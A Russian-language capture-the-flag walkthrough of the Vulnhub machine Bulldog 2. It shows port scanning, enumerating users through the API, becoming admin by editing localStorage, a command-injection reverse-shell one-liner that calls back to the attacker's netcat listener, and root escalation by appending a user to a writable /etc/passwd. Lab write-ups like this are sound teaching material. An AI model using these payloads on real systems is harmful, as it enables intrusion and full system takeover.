Bulldog 2

Традиционную еженедельную рубрику прохождений  Vulnhub продолжает виртуалка под названием Buldog 2.

Сканирование портов

Как обычно, начнем со сканирования виртуалки с помощью nmap, чтобы узнать, какие сервисы запущены.

Для этого выполним команду # nmap -sV -Pn -A 192.168.56.101

Как мы видим, у нас открыт всего один 80-ый порт, на котором крутится какой-то веб-сервис. Открываем его в браузере и видим, что это какая-то социальная сеть.

Неверный вектор

Мы заметили, что при заходе на http://localhost/users выполняется обращение к http://localhost/users/getUsers?limit=9, где появляется JSON-список зарегистрированных пользователей.

Мы искали в параметре SQL-инъекцию, но ничего не нашли.

Тогда мы выгрузили всю базу пользователей с помощью запроса http://localhost/users/getUsers?limit=10000000 и начали думать, что с ней можно сделать.

Прежде всего мы увидели еще один интересный API-метод: http://localhost/users/profile/username, который выдает полную информацию о пользователе, в том числе email и его права: админ или жалкий человечишка простой пользователь.

Решили проверить, кто из пользователей – администратор, и написали простой Python-скрипт:

import json
import requests

users = requests.get("http://localhost/users/getUsers?limit=10000000").json()
full_users = list(map(lambda x: requests.get(f"http://localhost/users/profile/{x["username"]}"), users))
admins = filter(lambda x: x["auth_level"] != 'standard_user', full_users)

print(admins)

К сожалению, это оказалось ложным вектором, и администраторов там не оказалось. Регистрация на первый взгляд тоже закрыта.

Просмотр исходников

Залезаем в исходники (попутно замечая, что приложение написано на AngularJS), и видим, что для регистрации нужно отправить POST-запрос на /users/register

Еще немного порывшись в main.js узнаем какие параметры нужно передать.

Отправляем запрос на регистрацию с помощью CURL: $ curl -X POST -H "Content-Type: application/json" -d '{"name":"Test","email":"test@test.ru","username":"testuser","password":"123456"}' и получаем сообщение об успешной регистрации.

Еще мы нашли в исходниках довольно забавную функцию isAdmin, которая выглядит так:

...prototype.isAdmin = function() {
   var l = localStorage.getItem("user");
   return null !== l && "master_admin_user" == JSON.parse(l).auth_level ...

Что это для нас значит? А то, что мы можем стать администратором, изменив одну строчку в LocalStorage браузера. Давайте это и сделаем, перед этим войдя под учетной записью созданного нами пользователя.

Теперь у нас появилась новая вкладка Admin, на которой форма входа через консольную версию Link+

Уязвимость CLI

Кажется, тут все просто: если утилита – консольная, то в нее должны подставляться параметры. А подставляются они зачастую криво: так, что можно исполнять shell-команды.

Запускаем у себя netcat на прослушивание порта: $ nc -lvvp 31338

Подставляем в поля логина и пароля (а вдруг одно из них фильтруется?) простой shell-скрипт, который пробросит к нам на машину консоль: $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 31338 >/tmp/f) и увидим, что мы, наконец, получили доступ к машине.

Создаем администратора

Поискав публичные эксплойты на это ядро и ничего не найдя, мы решили проверить критичные файлы системы и тут же нас ждала удача: в файл/etc/passwd можно писать, а, значит, мы можем создать своего root-пользователя с блекджеком и доступом в /root/.

Для начала захешируем придуманный нами пароль root-пользователя с помощью Perl: $ perl -le 'print crypt("test", "bb")', результатом будет bbTdyOM4g6r9Q.

Теперь создадим пользователя простой командой: $ echo test1:bbTdyOM4g6r9Q:0:0:test1:/root:/bin/bash >> /etc/passwd

Войдем под учетной записью test1. Для этого проапгрейдим нашу сессию, как мы писали ранее, выполним команду su test1 и введем наш придуманный пароль.

Итак, мы есть root.

Посмотрим на флаг: # cat /root/*. Флага там и не оказалось, но нас поздравили с очередным успешным прохождением.

Shortcut

Мы просканировали порты на виртуальной машине и нашли веб-сервис на 80-ом порту, написанный на AngularJS. Просмотрев исходные коды, мы смогли зарегистрировать своего пользователя и поднять его права до уровня администратора. Затем, используя уязвимость Blind Command Injection, мы получили удаленное управление системой, а из-за неправильной настройки машины нам удалось создать своего пользователя-администратора.

Используемые техники/уязвимости для решения

  • Blind Command Injection
  • Local Privelegies Escalation